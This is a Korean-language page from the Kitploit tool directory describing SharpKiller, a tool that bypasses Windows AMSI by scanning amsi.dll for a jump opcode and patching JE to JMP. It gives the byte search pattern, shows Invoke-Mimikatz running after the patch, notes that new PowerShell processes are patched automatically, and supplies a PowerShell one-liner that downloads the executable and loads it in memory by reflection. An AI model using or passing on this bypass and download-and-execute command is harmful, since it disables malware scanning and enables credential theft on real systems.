Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SharpKiller — 라이프타임 AMSI 우회: @ZeroMemoryEx 작성, .NET Framework 4.8로 포팅됨 | Kitploit
도구/GitHubGitHub/s1lkys/sharpkiller
Privilege EscalationExploitationIDS/IPS EvasionPost-ExploitationRed TeamingPayload Development
GitHubs1lkys/sharpkiller

SharpKiller

라이프타임 AMSI 우회: @ZeroMemoryEx 작성, .NET Framework 4.8로 포팅됨

저장소 보기
351431년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SharpKiller

AMSI-Killer(@ZeroMemoryEx)를 .NET Framework 4.8로 포팅한 평생(lifetime) AMSI 우회 도구.

추가 난독화 필요

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059

새로 통합된 기능:

[ x ] - 0.5초마다 새 PowerShell 프로세스 실시간 검사 -> 새 PowerShell 인스턴스 자동 패치

솔루션 빌드

  • Build > configuration manager에서 플랫폼을 명시적으로 x64로 설정하세요

작동 방식

Opcode 스캔

  • 각 명령어의 첫 바이트를 검색하여 점프(jump) 명령어의 정확한 주소를 얻습니다. 이 기법은 대상 데이터 세트가 업데이트되거나 수정되어도 효과적입니다.

  • 예:

    | 48:85D2 | test rdx, rdx |

    | 74 3F | je amsi.7FFAE957C694 |

    | 48 : 85C9 | test rcx, rcx |

    | 74 3A | je amsi.7FFAE957C694 |

    | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |

    | 74 33 | je amsi.7FFAE957C694 |

  • 검색 패턴은 다음과 같습니다:

    { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

    image

패치

패치 전

  • 프로그램은 RDX 값을 자신과 비교합니다. 비교 결과가 0이면 반환(return)으로 점프를 실행합니다. 그렇지 않으면 다음 명령어를 평가합니다.

    image

  • "Invoke-Mimikatz"를 실행할 수 없습니다.

    image

패치 후

  • 첫 번째 바이트를 패치하여 JE를 JMP로 변경하면 바로 반환됩니다.

    Screenshot 2023-02-26 195848

    image

  • 이제 "Invoke-Mimikatz"를 실행할 수 있습니다.

새로 생성된 프로세스

  • Sharp-Killer는 새로 생성된 모든 PowerShell 프로세스를 거의 실시간으로 패치합니다.

비디오 데모

video

리플렉션으로 실행하는 OneLiner

root@kitploit:~
$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));

언급된 OnLiner 사용 시 이 오류가 발생하나요?

이 메시지를 본 적이 있고 그 정체가 궁금했다면 - .NET AMSI 인터페이스에 온 것을 환영합니다! :-)

root@kitploit:~
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."
  • https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

참고 자료:

  • https://github.com/ZeroMemoryEx/Amsi-Killer
도구 다운로드